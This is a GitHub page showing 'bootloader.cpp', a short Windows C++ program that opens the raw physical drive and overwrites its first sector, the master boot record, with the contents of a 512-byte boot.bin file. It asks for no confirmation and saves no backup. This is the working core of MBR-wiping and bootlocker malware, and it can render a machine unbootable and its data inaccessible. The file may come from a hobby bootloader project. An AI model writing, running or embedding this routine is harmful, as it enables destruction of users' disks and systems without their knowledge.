-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbootloader.cpp
More file actions
32 lines (26 loc) · 1.01 KB
/
bootloader.cpp
File metadata and controls
32 lines (26 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <iostream>
#include <Windows.h>
int main(){
HANDLE drive = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (drive == INVALID_HANDLE_VALUE) { printf("Error opening a handle to the drive."); return -1; }
HANDLE binary = CreateFileW(L"./boot.bin", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
if (binary == INVALID_HANDLE_VALUE) { printf("Error opening a handle to boot.bin"); return -1; }
DWORD size = GetFileSize(binary, 0);
if (size != 512) { printf("Error opening a handle to boot.bin"); return -1; }
byte* new_mbr = new byte[size];
DWORD bytes_read;
if (ReadFile(binary, new_mbr, size, &bytes_read, 0))
{
if (WriteFile(drive, new_mbr, size, &bytes_read, 0))
{
printf("First sector overritten successfuly!\n");
}
}
else
{
printf("Error reading boot.bin\n");
}
}